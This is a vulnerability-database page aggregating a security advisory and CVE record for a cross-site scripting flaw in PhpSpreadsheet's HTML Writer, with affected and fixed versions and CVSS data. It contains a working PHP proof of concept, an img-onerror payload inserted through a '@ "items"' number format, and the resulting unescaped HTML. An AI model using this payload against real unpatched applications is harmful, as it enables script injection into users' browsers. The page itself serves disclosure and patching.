Vulnerability-Lookup

GHSA-6WPP-88CP-7Q68

Vulnerability from github – Published: 2026-04-28 22:50 – Updated: 2026-05-08 15:29

Summary

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Details

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in `Html.php:1586-1594`

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in `Formatter.php:136-152`

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

Screenshot 2026-04-02 at 18 45 53

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Severity ?

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T22:50:31Z",
    "nvd_published_at": "2026-05-05T20:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ \"items\"` or `\"Total: \"@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.\n\n### Details\n\n\n#### 1. Conditional escaping in `Html.php:1586-1594`\n\n```php\n$cellData = NumberFormat::toFormattedString(\n    $origData2,\n    $formatCode ?? NumberFormat::FORMAT_GENERAL,\n    [$this, \u0027formatColor\u0027]\n);\n\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());\n}\n```\n\n`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.\n\n#### 2. Early return in `Formatter.php:136-152`\n\n```php\nif (preg_match(self::SECTION_SPLIT, $format) === 0\n    \u0026\u0026 preg_match(self::SYMBOL_AT, $formatx) === 1) {\n    if (!str_contains($format, \u0027\"\u0027)) {\n        return str_replace(\u0027@\u0027, /* raw value */, $format);\n    }\n    return str_replace(/* ... preg_replace with raw value ... */);\n}\n```\n\nWhen the format code contains `@` with additional literal text (e.g., `@ \"items\"`), the formatter substitutes the raw cell value into the format string and **returns early** \u2014 the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.\n\n\n### PoC\n\n**test.php**\n``` php\n\u003c?php\n\nrequire \u0027/app/vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\n$payload    = \u0027\u003cimg src=x onerror=alert(document.domain)\u003e\u0027;\n$formatCode = \u0027@ \"items\"\u0027;\n\n\n$sheet-\u003esetCellValue(\u0027A1\u0027, $payload);\n$sheet-\u003egetStyle(\u0027A1\u0027)-\u003egetNumberFormat()-\u003esetFormatCode($formatCode);\n\n$writer = new Html($spreadsheet);\n$html = $writer-\u003egenerateHTMLAll();\n\nfile_put_contents(\u0027/app/output.html\u0027, $html);\n\necho \"HTML output saved to /app/output.html\\n\";\n```\n\nThe produced output contains unescaped data.\n``` html\n\u003c!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"\u003e\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\n  \u003chead\u003e\n      \u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /\u003e\n      \u003cmeta name=\"generator\" content=\"PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet\" /\u003e\n      \u003ctitle\u003eUntitled Spreadsheet\u003c/title\u003e\n      \u003cmeta name=\"author\" content=\"Unknown Creator\" /\u003e\n      \u003cmeta name=\"title\" content=\"Untitled Spreadsheet\" /\u003e\n      \u003cmeta name=\"lastModifiedBy\" content=\"Unknown Creator\" /\u003e\n      \u003cmeta name=\"created\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n      \u003cmeta name=\"modified\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n    \u003cstyle type=\"text/css\"\u003e\n[..SNIP..]\n    \u003c/style\u003e\n  \u003c/head\u003e\n\n  \u003cbody\u003e\n\u003cdiv style=\u0027page: page0\u0027\u003e\n    \u003ctable border=\u00270\u0027 cellpadding=\u00270\u0027 cellspacing=\u00270\u0027 id=\u0027sheet0\u0027 class=\u0027sheet0 gridlines\u0027\u003e\n        \u003ccol class=\"col0\" /\u003e\n        \u003ctbody\u003e\n          \u003ctr class=\"row0\"\u003e\n            \u003ctd class=\"column0 style1 s\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e items\u003c/td\u003e\n          \u003c/tr\u003e\n    \u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"719\" height=\"716\" alt=\"Screenshot 2026-04-02 at 18 45 53\" src=\"https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe\" /\u003e\n\n\n\n### Impact\n\nThe impact changes based on the way the HTML is served. \nIn case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.",
  "id": "GHSA-6wpp-88cp-7q68",
  "modified": "2026-05-08T15:29:45Z",
  "published": "2026-04-28T22:50:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35453"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer"
}

CVE-2026-35453 (GCVE-0-2026-35453)

Vulnerability from cvelistv5 – Published: 2026-05-05 19:39 – Updated: 2026-05-06 14:27

Title

PhpSpreadsheet XSS via number format text substitution in HTML Writer

Summary

PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 4.0.0, <= 5.6.0 Affected: >= 3.3.0, <= 3.10.4 Affected: >= 2.2.0, <= 2.4.4 Affected: >= 2.0.0, <= 2.1.15 Affected: <= 1.30.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35453",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-06T14:27:23.407171Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-06T14:27:43.313Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c= 5.6.0"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c= 3.10.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c= 2.4.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c= 2.1.15"
            },
            {
              "status": "affected",
              "version": "\u003c= 1.30.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ \"items\"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-05T19:39:54.507Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68"
        }
      ],
      "source": {
        "advisory": "GHSA-6wpp-88cp-7q68",
        "discovery": "UNKNOWN"
      },
      "title": "PhpSpreadsheet XSS via number format text substitution in HTML Writer"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35453",
    "datePublished": "2026-05-05T19:39:54.507Z",
    "dateReserved": "2026-04-02T19:25:52.192Z",
    "dateUpdated": "2026-05-06T14:27:43.313Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-6WPP-88CP-7Q68

Summary

Details

1. Conditional escaping in Html.php:1586-1594

2. Early return in Formatter.php:136-152

PoC

Impact

CVE-2026-35453 (GCVE-0-2026-35453)

Tags

Sightings

Nomenclature

1. Conditional escaping in `Html.php:1586-1594`

2. Early return in `Formatter.php:136-152`